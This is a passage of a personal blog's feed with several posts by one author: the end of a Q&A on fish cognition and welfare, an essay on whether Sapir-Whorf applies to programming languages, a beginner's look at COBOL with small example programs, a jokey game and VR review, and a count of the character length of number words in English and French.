<p>”Studying fish cognition and behaviour is done in pretty much the same way that we study these things in all animals. Most of the techniques are adapted from primate and rodent research. Of course we have to account for the fact that fish live in water and don’t have hands to manipulate things. Nonetheless, their cognitive skills are much the same. So for example we can teach them to learn mazes or differentiate between different cue cards.”</p>
<p><strong>One of the ways I judge an animal’s (and other people’s) intelligence is by how well they communicate with each other. This may be too broad a question as I’m unsure of how it differs between different types of fish but, how do fish communicate their intentions with each other to allow for cooperation?</strong></p>
<p>”Intelligence is not just about communication. Most of it is about solving problems and most of that is about learning from past experiences and applying knowledge to novel situations. Some of intelligence relies on communication to be sure. Fish don’t talk like we do, but the vast majority of species do make meaningful sounds. They also communicate using smell (like many mammals) as well as visual displays. There is loads of evidence of complex communication in fishes including gestural displays (even between different species). Cooperation is wide-spread and is based on individual recognition.”</p>
<p><strong>Fish being left out of animal welfare laws seem like a huge ethical concern. I’ve never been very active in the space but do you know if there are many animal rights groups working to get this rectified? And what could the average person do to help out?</strong></p>
<p>”Yes in many states in Australia and elsewhere in the world fish are exempt from animal welfare legislation. It largely comes down to the definition of “animal” as written in the legislation itself. In Western Australia, for example, fish (and humans) are specifically excluded from the definition of animal. In the Northern Territory, wild fish are exempt, but captive fish are included. In NSW fish are included in the definition of animal no matter where they are from. The European Union has been pushing this issue very strongly. Myself and some of my colleagues are always trying to make this an issue that the public should pay attention too. While many of the animal advocacy groups admit to dropping the ball on fish welfare, they are gradually moving into this space. The Humane Society and others are starting to work on education programs to promote fish welfare. Similarly the RSPCA has started to work with the aquaculture industry to develop a compliance scheme as have others in the EU. I work with several of these NGOs to come up with welfare certification standards for aquaculture.”</p>
<p><strong>On that same note, what is your opinion of recreational fishing? Commercial fishing looks pretty dreadful with all those fish cramped in nets, but recreational fishing is on a much smaller scale and many people let the fish go after it’s caught. Although, I can’t imagine getting hooked on a fishing rod is a very pleasant experience, so maybe it’s still a problem.</strong></p>
<p>”Commercial wild fisheries are an absolute catastrophe from an animal welfare perspective. We kill trillions of individual fish annually in the most horrendous way through commercial fishing operations. Only some (like rod and real capture of tuna) are remotely ok from that perspective. But equally recreational fishing is a massively popular pastime which realistically is no different from other forms of hunting. In Australia and elsewhere this practice is actively encouraged by state and federal governments because the industry is so huge. (ie its worth a lot of $$$ and some of that goes to the gov). If done well, rec fishing can be humane. But there are several issues: first, you have little control over what you catch. So there is a bycatch issue and the survival chances of those fish is generally low post-release. Second, most people do not kill the fish fast enough or effectively. Third, catch and release is simply unethical. People should not be hunting for fun or recreation. They should do it to get a feed period.”</p>
<p><strong>I’ve also noticed that you often uses the term “fishes” when talking about multiple fish. This is the first time I’ve ever seen someone not use “fish” as an invariant. Not saying it’s incorrect, I was taught that it was fine to use it as a non-invariant noun by suffixing “-es”, but I would just like to ask: why?</strong></p>
<p>”Fish is a funny word. Fish = singular. Fish = plural one species, Fishes = plural multiple species.”</p>
<p><strong>Finally, can fish(es) get social anxiety?</strong></p>
<p>”Yes fish can suffer from anxiety and stress and feel pain. Their physiology is almost identical to ours. In fact we inherited most of that hardware from our fishy ancestors. So when people take drugs, much of the active ingredients pass through us and down our toilets. Our waste-water treatment plants are not build to deal with drugs so the active ingredients pass through unchanged. They remain active in sewage discharge and have impacts on fish behaviour and physiology. This is a huge area of research in ecotoxicology. There are loads of papers on the impacts of anti-depressants (eg Proxac) in fish. Note I can go also to a hospital and take a cortisol test kit off the shelf and use it to study stress in fish.</p>
<p>People may be reluctant to accept it, but the reality is that we are not very different from fish.”</p>
<p>Thanks a lot to Prof Brown for answering these, in hindsight, admittedly not very good questions.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: Brown, Culum & Vila Pouca, Catarina. (2016). How fish think and feel, and why we should care about their welfare.</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: Brown, Culum. (2014). Fish intelligence, sentience and ethics. Animal cognition. 18. 10.1007/s10071-014-0761-0.</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Does The Sapir-Whorf Hypothesis Apply To Programming Languages?]]></title>
        <id>https://justin.duch.me/post/sapir_whorf_programming</id>
        <link href="https://justin.duch.me/post/sapir_whorf_programming"/>
        <updated>2020-04-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This question came to me from a Medium post from Alvaro Videla called “<a href="https://medium.com/@old_sound/programming-languages-are-not-languages-c6f161a78c44">Programming Languages are not Languages</a>”. You should read it first as I agree with most of it but I think there's more to add.</p>
<p>Let’s start with the main point that “programming languages are not languages”. In my opinion, there is only one feature of programming languages that you could compare to a natural language: syntax.</p>
<p>Programming languages are <strong>formal languages</strong> which consist of strict formation rules often described by a context-free grammar. Formal language theory sprang out of linguistics, as a way of understanding the syntactic regularities of natural languages.</p>
<p>Syntax is the only link a programming language has to a natural language and the comparison of any other linguistic feature is invalid because they are different things. Even then, a natural language subscribes to the view of “if you understand it, then it’s correct”,<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> and can break its own syntactical/grammatical rules for literary technique, something you’d never see in a programming language.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Mostly, that kind of depends on a few things like if other people agree it is correct and start using it too.</span></aside>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Or in fact, in any formal language.</span></aside>
<p>I’d really like to drill this into you, so here’s a few more things:</p>
<p>Natural languages are for communication between humans (because we are the only ones who can understand our own languages). And while programming languages are certainly not for communication between humans, you could argue that you “communicate” with the computer. But I’ve opened this can of worms before and that ended up in a philosophical debate about “conversation”, so I’d rather not talk about it.</p>
<p>Programming languages are also much more than the “language”, you have the compiler or interpreter, build tools, and configuration files.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> Videla also notes how these are often in a variety of different languages. Many people would also say that the community and ecosystem are part of the language too.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>You may disagree with this, but I simply don’t see how you could have a Rust without a `rustc` and `cargo`. They’re both a part of Rust and why you’d use it.</span></aside>
<p>With natural languages you can literally just take things from other languages and have it work. Think of all the French, German, and Spanish loanwords (and phrases) we have in English. In comparison, it would be impossible to put Python’s whitespace rules into Java without breaking “over 6 billion programs”.</p>
<p>If you’re thinking that it’s unfair to compare loanwords to taking entire programming language design features, then yeah! That was the point, you can’t compare them, good job on figuring it out.</p>
<p>With all that done, let’s get back to asking “does the Sapir-Whorf hypothesis apply to programming languages?”</p>
<p>I’ve mentioned what the Sapir-Whorf hypothesis was <a href="/post/hsc_english">before</a>, but I like to pad out my posts so I’m going to do it again.</p>
<p>The Sapir-Whorf hypothesis “is a principle claiming that the structure of a language affects its speakers’ world view or cognition, and thus people’s perceptions are relative to their spoken language.”</p>
<p>However last time I talked about it, I actually forgot to mention that there was a weaker version of it which states “that language provides constraints in some areas of cognition, but that it is by no means determinative.” This version is more popular and has actual evidence for it, but is still debated.</p>
<p>Videla argues that the Sapir-Whorf hypothesis doesn’t fully applies to programming languages because “when we program we categorize the world in English (or Spanish, or any other natural language), and then we encode that into a program. So the programming language I’m using, is not limiting the way in which I see the world.”</p>
<p>Not everybody “categorises” the world in a language. <a href="https://news.harvard.edu/gazette/story/2017/05/visual-images-often-intrude-on-verbal-thinking-study-says/">Visual images often intrude on verbal thinking</a> and in a field like programming, I’d say your thoughts are much more abstract with data structures and control flow. But his point still stands either way, your brain determines how you process the world and you use a programming language to describe it to the computer.</p>
<p>While never explicitly mentioning Sapir-Whorf, Paul Graham’s “<a href="http://www.paulgraham.com/avg.html">Beating the Averages</a>” inadvertently argues in favour of it.</p>
<p>The so-called <a href="https://en.wikipedia.org/wiki/Blub_paradox">blub paradox</a> (after a hypothetical programming language of average complexity called “Blub”) says that anyone preferentially using some particular programming language will know that it is more powerful than some, but not that it is less powerful than others. Hence the paradox, because typically programmers are “satisfied with whatever language they happen to use, because it dictates the way they think about programs”.</p>
<p>I find this deeply flawed. Here’s one thing that natural and programming languages share: there is no <strong>best</strong> language. But they share this for different reasons.</p>
<p>There’s no best natural language because you can express any idea in any language. It may be a little harder or easier in some, but they all have advantages and trade offs.</p>
<p>And there’s no best programming language because like Videla says, “they’re tools”. You use different tools for different jobs. Graham talked a lot of hype about how Lisp allowed them to beat all the competition. It may be true that Lisp was objectively the best language for what they were doing, but I can easily think of one area where Lisp would be one of the worst: systems programming.</p>
<p>You can’t deny that functional programming historically creates programs with worse performance than low level languages. It may never even be possible for a functional language to catch up in this regard due to the necessity of a garbage collector. If I ever write an OS, no way am I ever going to use Clojure, I’m going to build that bad boy in Rust.</p>
<p>There’s also the notion that programmers are “satisfied with whatever language they happen to use”, which I find incredibly confusing. I’ve never met a person who was “satisfied” with their language, there’s always something missing, broken, or “not up to the task”.</p>
<p>Graham’s arguments seem to align with the strong version of Sapir-Whorf, which don’t apply to natural languages and as we now know, don’t apply to programming languages.</p>
<p>However, that’s not to say that a programming language doesn’t change how you think about programming, because it absolutely does. I know from experience that learning functional programming languages (like Clojure) has changed how I write code even in non-functional languages.</p>
<p>I can see why people would conflate this with the weaker Sapir-Whorf and I think the area of how different programming paradigms influence how people write code is an interesting one. It’s related to linguistic relativity so I don’t know what that would actually be called apart from the “weaker version of the Sapir-Whorf hypothesis but for programming”, whatever that means.</p>
<p>Perhaps we should make a new hypothesis derived from Sapir-Whorf (like how formal language theory came from natural languages) and have it specify programming paradigms. This way it would be much clearer on what we are actually talking about when in the context of programming languages.</p>
<p>Maybe we could call it something like the “Videla-Duch hypothesis” 🙂.</p>
<p>Actually on second thought, that felt gross to type out for some reason.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> Please don’t call it that.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>I think it’s the negative connotations I have with the Sapir-Whorf hypothesis.</span></aside>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Learning COBOL]]></title>
        <id>https://justin.duch.me/post/learning_cobol</id>
        <link href="https://justin.duch.me/post/learning_cobol"/>
        <updated>2020-04-13T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>“Over the weekend, New Jersey governor, Phil Murphy, made an unusual public <a href="https://www.northjersey.com/story/news/new-jersey/2020/04/04/coronavirus-nj-40-year-old-system-adds-delay-unemployment-checks/2944985001/">plea</a> during his daily coronavirus briefing: The state was seeking volunteer programmers who know COBOL, a 60-year old programming language that the state’s unemployment benefits system is built on.”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Since then there’s been a whole lot of talk about COBOL including IBM now offering free <a href="https://newsroom.ibm.com/2020-04-09-IBM-and-Open-Mainframe-Project-Mobilize-to-Connect-States-with-COBOL-Skills">COBOL training</a> to address overloaded unemployment systems, as well as launching a <a href="https://community.openmainframeproject.org/c/calling-all-cobol-programmers/15">forum</a> where those with knowledge of the language can be matched with companies in need of help maintaining their critical systems.</p>
<p>I, being the mindless sheep who jumps on every new (or old) bandwagon, have decided that it’s now a great time to learn a 60 year old language. So let’s start with the setup.</p>
<p>We’re going to install Open Cobol (GNU Cobol) with the command <code class="prettyprint">brew install gnu-cobol</code>. If you don’t have a Mac then you’re going to need to buy one then install Homebrew on it.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Or you could just find out how to install it on your OS by yourself.</span></aside>
<p>To test if it works let’s write a “Hello, world!”, something people only started doing 20 years after COBOL was created. Open up your favourite text editor (which is Vim) and put this in:</p>
<pre class="prettyprint linenums"><code class="plaintext language-plaintext">       IDENTIFICATION DIVISION.
       PROGRAM-ID. hello-world.
       PROCEDURE DIVISION.
           DISPLAY &quot;Hello, world!&quot;.
</code></pre>
<p>Save it as <code class="prettyprint">hello.cob</code> and run <code class="prettyprint">cobc -x hello.cob</code>. This will compile it into an executable program called <code class="prettyprint">hello</code>. You can run it with <code class="prettyprint">./hello</code> and should see the string “Hello, world!” displayed. With all that done, now we can actually go into COBOL.</p>
<p>COBOL programs are written in four separate divisions:</p>
<ul>
<li>IDENTIFICATION DIVISION: Identifies the following code entity and contains the definition of a class or interface.</li>
<li>ENVIRONMENT DIVISION: Contains the configuration section and the input-output section. The configuration section is used to specify variable features such as currency signs, locales and character sets.</li>
<li>DATA DIVISION: Six sections which declare different items: the file section, for file records; the working-storage section, for static variables; the local-storage section, for automatic variables; the linkage section, for parameters and the return value; the report section and the screen section, for text-based user interfaces.</li>
<li>PROCEDURE DIVISION: Where the actual code goes. You can split these up into “paragraphs” which are just simple subroutines.</li>
</ul>
<p>I find the <code class="prettyprint">DATA DIVISION</code> to be very interesting. It’s basically a way for you to declare your data, which is something you’d use an ORM for (or you’d build some form of it yourself) in a more modern language. Here’s an example of a record I took from Wikipedia:</p>
<pre class="prettyprint linenums"><code class="plaintext language-plaintext">       01  some-record.
           05  num            PIC 9(10).
           05  the-date.
               10  the-year   PIC 9(4).
               10  the-month  PIC 99.
               10  the-day    PIC 99.
</code></pre>
<p>“Data items in COBOL are declared hierarchically through the use of level-numbers which indicate if a data item is part of another. An item with a higher level-number is subordinate to an item with a lower one. Top-level data items, with a level-number of 1, are called <em>records</em>. Items that have subordinate aggregate data are called <em>group items</em>; those that do not are called <em>elementary items</em>. Level-numbers used to describe standard data items are between 1 and 49.”<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>COBOL has built-in support for accessing flat file databases with either sequential or indexed organisation. COBOL doesn’t support any form of SQL-like “querying”, but you could still manually iterate through every record in a sequential file to find matching records. There are also extensions for accessing relational databases if you’d prefer that.</p>
<p>Another really interesting part of the <code class="prettyprint">DATA DIVISION</code> is the <code class="prettyprint">SCREEN SECTION</code>, which allows you to create user interfaces by declaratively describing them. It’s a description of labels, input fields, and display areas and where they appear on the screen (line, column). The COBOL program can reference the input fields and display areas as a variable. Typically you would use the <code class="prettyprint">MOVE</code> statement to copy a value from a variable or a literal to the display variable.</p>
<p>This is honestly the easiest and most efficient way of creating user interfaces that I’ve ever seen. That might not seem like much considering I’m a web developer and most of my work involves an un-godly amalgamation of HTML/CSS/JS, but I still think it would be impressive even if you’re used to more sane methods of UI creation.</p>
<p>Here’s a very simple program to display two input fields.</p>
<pre class="prettyprint linenums"><code class="plaintext language-plaintext">        IDENTIFICATION DIVISION.
        PROGRAM-ID. screen-example.
        DATA DIVISION.
        WORKING-STORAGE SECTION.
        01 ws-customer-name   PIC x(20).
        01 ws-customer-amount PIC 99v9 VALUE zero.
        SCREEN SECTION.
        01 customer-screen.
           03 BLANK SCREEN.
           03 LINE 1 COLUMN 33 VALUE &quot;Customer name&quot;.
           03 LINE 1 COLUMN 47 PIC x(20) USING ws-customer-name
                               PROMPT CHARACTER IS &quot;*&quot;
                               JUSTIFIED RIGHT.
           03 LINE 4 COLUMN 33 VALUE &quot;Customer amount&quot;.
           03 LINE 4 COLUMN 49 PIC z9.9 USING ws-customer-amount
                               REQUIRED.
        PROCEDURE DIVISION.
        RUN-START.
            DISPLAY customer-screen
            ACCEPT customer-screen
            STOP RUN.
</code></pre>
<p>Copy it to a new file and try it out for yourself. You should the fields “Customer name” which accepts all characters and “Customer amount” which only accepts numbers. If you have a decent amount of knowledge in any programming language it would also be pretty easy to figure out what it’s doing.</p>
<p>Admittedly, it’s probably only easy because it’s limited to a terminal (and doesn’t have to deal with the hell-scape of internet browsers) but I still think it’s neat.</p>
<p>So far I’ve had a lot of praise for COBOL, much more than I expected. But does this mean I’ll join a COBOL cabal and disavow Rust? Nope, the only cabal I’m into is Haskell’s build system. And in COBOL, memory management is non existent because the memory layout is fixed at runtime. Due to my Stockholm Syndrome from years of dealing with Rust’s borrow checker, I think this is bad and prefer being yelled at from my compiler.</p>
<p>There is a very big problem I have with COBOL, and that’s how code is structured itself (in the <code class="prettyprint">PROCEDURE DIVISION</code>).</p>
<p>The <code class="prettyprint">PROCEDURE DIVISION</code> is divided into paragraphs that start with a paragraph name and have a group of statements within the paragraph. A program starts at the first paragraph and continues sequentially through multiple paragraphs until a <code class="prettyprint">STOP RUN</code> statement is executed or it executes the last statement in the last paragraph.</p>
<p>You can also <code class="prettyprint">PERFORM</code> on a paragraph which is sort of like a function call, but with no local variables. Or you can <code class="prettyprint">PERFORM A THRU B</code> to jump to paragraph “A”, continuing sequentially until the end of paragraph “B”. Or you can <code class="prettyprint">PERFORM A THRU B VARYING X FROM 1 BY 1 UNTIL C</code>, which is sort of like a for loop.</p>
<p>The nasty thing about all this is that when looking at a paragraph, you can’t tell anything about how it gets executed. Does it fall through to the next paragraph? You can’t tell. That’s determined dynamically at runtime. Is it a loop? Can’t tell. This is one of the things that makes large COBOL programs really hard to understand.</p>
<p>But wait there’s more! You know the <code class="prettyprint">GO TO</code> statement right? Well, COBOL having it wouldn’t be that big a deal since lots of old languages have it. That’s until you read about the <code class="prettyprint">ALTER</code> statement, which changes the target of a <code class="prettyprint">GO TO</code> paragraph. So now on top of all the dumb stuff <code class="prettyprint">GO TO</code> can lead to, when you <code class="prettyprint">GO TO A</code>, it can go to some other place based on a previous <code class="prettyprint">ALTER</code> statement! Very cool, I love when I don’t know what my program does!</p>
<p>I think that’s all I needed to learn before I went: “yeah I don’t really want to use this language”. I can just <strong>imagine</strong> the horror of the legacy systems built with COBOL. I’ve had to do a bit of maintenance of an old Perl system and that was bad enough, a COBOL system would probably make it look like… uhhh… I actually can’t think of any large system I would consider well made and designed.</p>
<p>And speaking of legacy systems, let’s talk about the collapse of civilisation.</p>
<p>This all reminds me of Jonathan Blow’s talk “<a href="https://www.youtube.com/watch?v=pW-SOdj4Kkk">Preventing the Collapse of Civilization</a>” from last year.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> It's probably one of the most interesting talks I've listened to. He argues that as we all start learning the higher abstracted technologies, the necessary knowledge needed to maintain these technologies will fade away (because nobody learns them) leading to total irrecoverable collapse.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Haha, if you’ve read my blog before I bet you thought I was going to talk about capitalism. But there’s already enough capitalism in COBOL code already.</span></aside>
<p>So if you want one takeaway from this post, it’s this:</p>
<p>Learn electrical engineering instead.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://onezero.medium.com/our-government-runs-on-a-60-year-old-coding-language-and-now-its-falling-apart-61ec0bc8e121</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/COBOL</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Where’s Bidoof? - A Review of Pokèmon Mystery Dungeon: Rescue Team DX]]></title>
        <id>https://justin.duch.me/post/pokemon_mystery_dungeon</id>
        <link href="https://justin.duch.me/post/pokemon_mystery_dungeon"/>
        <updated>2020-04-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>To prepare for a lockdown in Australia, I bought three games to play and to make content for this blog. Unfortunately, I’ve had to scrap the other two posts because:</p>
<p>I have nothing to say about “Persona 5: Dancing Star Night”. It’s a dancing rhythm game, and I don’t know how to talk about that. It’s a good game, and seeing the Phantom Thieves dance in silly costumes is funny. That’s literally all I have to say about it.</p>
<p>I also thought “Animal Crossing: New Horizons” would make good content. I could even make reference to that time “<a href="/post/stardew_valley_made_me_suicidal">Stardew Valley Made Me Suicidal</a>” and see if this game would make me want to kill myself as well. But it became very clear that this is a game you're supposed to play with friends, given by how much they try to emphasise the online features. This causes a problem for me because <strong>I don't have friends</strong>.</p>
<p>So I gave up on that game, and now we’re just left with one.</p>
<p>I’ve never played a Pokèmon Mystery Dungeon game before so when deciding which game to buy, I looked at the back of the box, saw you played as a Pokèmon and went: “<strong>WOAH</strong> hold on! Can you play <strong>AS</strong> Bidoof in this?”</p>
<p>I know when I talked about his <a href="/post/pokemon_x">last time</a>, I never stated playing as Bidoof as a requirement for my perfect Pokèmon game. But that was because I never thought I was possible to be able to catch Bidoof’s pure majesty, his <strong>elegance</strong>, <strong>HIS PERFECTION</strong> in a first person perspective. I assumed we would have to be forever stuck as a spectator to this god-like entity, but could this game really do it?</p>
<p>I had to find out.</p>
<p>It starts with one of those quizzes you took as a kid to find out what Pokèmon you were, which was actually strangely nostalgic for me as I got picked Charmander. Obviously I was hoping for Bidoof but let’s not kid ourselves, it would be an insult to Bidoof if you even suggested that I, a mere peasant could be compared to a beautiful Bidoof. So for the time being, I was fine with Charmander.</p>
<p>However, at the end of the quiz if you are unhappy with what Pokèmon you are, you can change it to whichever one you want. I did not see Bidoof in this screen.</p>
<p>There was Mudkip, for if you think memes from 2005 were the pinnacle of comedy. There was Pikachu, for if you’re 6 years old and a yellow rat is the only Pokèmon your small child brain knows. There was even Chikorita, for those who dream of being a useless, green potato.</p>
<p>But there was no Bidoof.</p>
<p>That’s okay though! The box said there was a party system as well, so maybe we can get Bidoof to join our party. And on the topic of your party, you also get to choose who your first teammate is. I chose Eevee, because Eevee is brown like Bidoof.</p>
<p>Being my first Mystery Dungeon game, I wasn’t sure what to expect. But I sure as hell did not expect it to be a rouge-like. After learning that you literally go into “mystery dungeons” that change layouts every time to “rescue (team)” Pokèmon, I was quite surprised. Again, no idea why, it’s literally in the title of the game.</p>
<p>But after my initial shock subsided, I started noticing some things. Most notably is the fact that I’ve only seen Pokèmon from the first 3 generations. This is very concerning because Bidoof was introduced in the 4th generation.</p>
<p>This confusion made me do something I don’t normally do for video games. I looked up information on it.</p>
<p>According to <a href="https://serebii.net/dungeonrescueteamdx/pokemon.shtml">serebii.net</a>: “Pokémon Mystery Dungeon Rescue Team DX features a wide variety of Pokémon. As this is a remake of the original games, it focuses on the first 386 Pokémon”.</p>
<p>The first <strong>386</strong> Pokèmon? Bidoof is <strong>#399</strong>! Why didn’t anyone tell me this? I can’t believe they did this to me yet again! First Sword and Shield cuts Bidoof from the Galar Dex and now this?</p>
<p>Why must you make me suffer Nintendo? You know I’ve only wanted <strong>ONE</strong> thing from you. Just put Bidoof in every video game you make! That’s it! Just that one simple thing!</p>
<p>Put Bidoof in Smash Bros. Put Bidoof in Mario Kart. Put Bidoof in Splatoon. Put Bidoof in that new Zelda game. Fuck it, put Bidoof in the old Zelda games too.</p>
<p>So now what am I supposed to write this post about? I’ve not played nearly enough to write an actual review, so hang on let me find something new.</p>
<hr />
<p>Hello and welcome to my review of the Oculus Quest which is a virtual reality headset created by Oculus VR, a division of Facebook Inc.</p>
<p>Normally I would try to stay away from things owned by Facebook, but the HTC Vive is almost double the price, so since I’ve already spent over $150 on video games and I have rent to pay, so that wasn’t happening. The Valve Index is also not sold in Australia and is even more expensive than the Vive.</p>
<p>The Oculus Quest is cool because you don’t need to connect it to a computer to work, it’s all wireless. You won’t be able to play the big beefy games wireless however as it doesn’t have the specs to be able to run it. But you can buy a cable to connect it to your PC. The first party one is a USB-C cable called the Oculus Link which is <strong>$80</strong>!</p>
<p>It’s also out of stock right now. All other USB-C cables that are over 5 meters also seem to be out of stock (there’s only like two companies that make them).</p>
<p>You can buy a USB-C to USB-A cable but those are much shorter (3 meters or less) apparently because the signals degrade faster with USB-A or something I dunno. I only write computer code for a living why would I know this?</p>
<p>So unfortunately, this mean I won’t be playing Half Life Alyx anytime soon, instead we’ll look at one of the games you can put on the Oculus Quest without a computer.</p>
<p>The game we will look at is Beat Saber which is… wait, this is another rhythm game. <strong>God dammit</strong>.</p>
<p>But the Oculus Quest gets a 10/10 because I’ve had a headset mount on my computer for years and it’s nice to see it finally used.</p>
<p><img src="/img/vr-hold.png" alt="messy-computer" /></p>
<p>Ignore the cables.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Which Language Has The Best Counting?]]></title>
        <id>https://justin.duch.me/post/best_counting</id>
        <link href="https://justin.duch.me/post/best_counting"/>
        <updated>2020-03-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://www.languagesandnumbers.com/numbering-systems/en/">BEST SITE</a></p>
<p><a href="https://www.languagesandnumbers.com/numbering-systems/en/">BEST SITE</a></p>
<p><a href="https://www.languagesandnumbers.com/numbering-systems/en/">BEST SITE</a></p>
<p><strong>FACT</strong>: www.languagesandnumbers.com is the best website on the Internet.</p>
<p><strong>FACT</strong>: A resource for the the numbering systems of over <strong>200</strong> languages (and 71 conlangs) is the most important creation since pineapple on pizza.</p>
<p><strong>FACT</strong>: I have no idea why I’m so excited that I found a website that contains the numbering systems of over <strong>TWO HUNDRED</strong> languages, but I didn’t realise this was something I wanted.</p>
<p>Today we’re finding out which language has the best counting. But how do you decide which language has the best counting?</p>
<p>You can’t.</p>
<p>Each language counts in their own different way, they all have unique quirks and none of them are better than any other.</p>
<p>But that would make this post too short, so instead we’re going to base it off string length. For each language<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span>, we’re going to find the biggest string we can make (E.g. In English “seventy-five” is 12 characters long) and compare it with the other languages. The language with the shortest string wins and is crowned “Language with the Best Counting (along with all the other languages who count just a good, but this one has the shortest string length in our scoring system)”.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Only the ones I’m interested in instead of doing all of them. Not going to make that <a href="/post/nerd_sniped">mistake</a> again.</span></aside>
<p>Although, we’re only going to compare <a href="https://en.wikipedia.org/wiki/Indo-European_languages">Indo-European</a> languages because most of them have similar alphabets and I don’t think it’s fair to compare the length of the letter “g” to whatever this: “सौ” is.</p>
<p>Another problem we’ll have is the simple fact that numbers go on forever, so we’ll be setting an arbitrary limit of something like… I dunno, maybe 999,999,999.</p>
<p>Also, I’m not going to write a program to do this, I’d actually like to learn how to count and that’d ruin the fun of it (because apparently I do this stuff for fun now). We’ll be including all spaces, commas, and hyphens in our counts as well.</p>
<p>Alright<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>, let’s start with English as a warm-up.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>That’s four paragraphs in a row that start with “A”. Completely unintentional, but I searched for things with the acronym “AAAA” in case it meant something. One of which was the “Anonymous Acronym Abuse Association”. Just something to think about.</span></aside>
<h2 id="english">English</h2>
<p>It should be obvious, but our limit does not make the largest string because the start of the number: “nine hundred and ninety-nine million” (36) is shorter than “nine hundred and ninety-seven million” (37). We can be sure however, that it will be in the hundreds of millions as a bigger number would mean more words.</p>
<p>In English, all the three-digit numbers are constructed by stating the hundreds, then adding the “and” word, then the tens and the digits. E.g. 111 is “one hundred and eleven” (22). We can the add the multiplier of “thousand”, “million”, etc. to make “one hundred and eleven thousand”, “one hundred and eleven million”, etc. This means we just need to find the biggest three-digit string and repeat it three times.</p>
<p>The hundreds in our three-digit number is always spelt as a singular unit from 1-9. The biggest one is tied between “seven”, “eight”, and “three” which are all 5 characters. I’m going with “eight” because that’s the day I was born.</p>
<p>Next, The tens are formed by adding the “-(t)y” suffix at the end of the multiplier digit root, with the exception of ten. From twenty-one to ninety-nine, the tens and units are joined with a hyphen. So, we can ignore any number below 21 because they are all only one word, and I’m not sure if you know this, but <em>two</em> is bigger than <em>one</em>. The more you know, yeah?</p>
<p>The biggest tens is actually just “seventy” (7) this time. So combined with our unit, it makes “seventy-eight” (13).</p>
<p>Now putting it all together, we get 878,878,878 or “<strong>eight hundred and seventy-eight million, eight hundred and seventy-eight thousand, eight hundred and seventy-eight</strong>” (114). We also could have done 777,777,777 or 373,373,373 to get the same length.</p>
<h2 id="french">French</h2>
<p>I’m going to <em>try</em> and summarise the explanations, so there will probably be a lot missing. If you get confused just go to the website and check for yourself.</p>
<p>Digits and numbers from zero to sixteen are specific words and the biggest one is 4: “quatre” (6).</p>
<p>Seventeen to nineteen are regular numbers, named after ten followed by a hyphen and the unit. Compared to English, this should be better as we only got two word numbers on our tens after 21. Our new numbers are: “dix-sept” [10+7], “dix-huit” [10+8], and “dix-neuf” [10+9], all the same length of 8. These are also all tied with 14: “quatorze” (8) to be the biggest.</p>
<p>We are going to skip 20-50 because from 61-99, base 20 is used and we are following our “two words are bigger than one” rule. This makes 70: “soixante-dix” [60+10], 80: “quatre-vingts” [4*20], and 90: “quatre-vingt-dix” [4*20+10]. The biggest of which is “quatre-vignt-dix”<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>. Combined with a unit, the biggest tens we can make is 94, 97, 98, and 99, but we’ll use 99: “quatre-vingt-dix-neuf” (21).</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Although it could have been “quatre-vignts” if any of the numbers from one to nine were bigger than eleven to nineteen.</span></aside>
<p>Now we multiply the biggest unit to get the hundreds, making 400: “quatre cent” (11) and adding our tens we get 499: “quatre cent quatre-vingt-dix-neuf” (33)<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span>.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Au fait, you should start seeing the pattern I’m referencing numbers by now. It will mostly be: [numeric number]: “[number in words]” (length of number in words)</span></aside>
<p>With that we can add the multipliers for a million: “millions”, and a thousand: “mille” to make 499,499,499: “<strong>quatre cent quatre-vingt-dix-neuf millions quatre cent quatre-vingt-dix-neuf mille quatre cent quatre-vingt-dix-neuf</strong>” (116).</p>
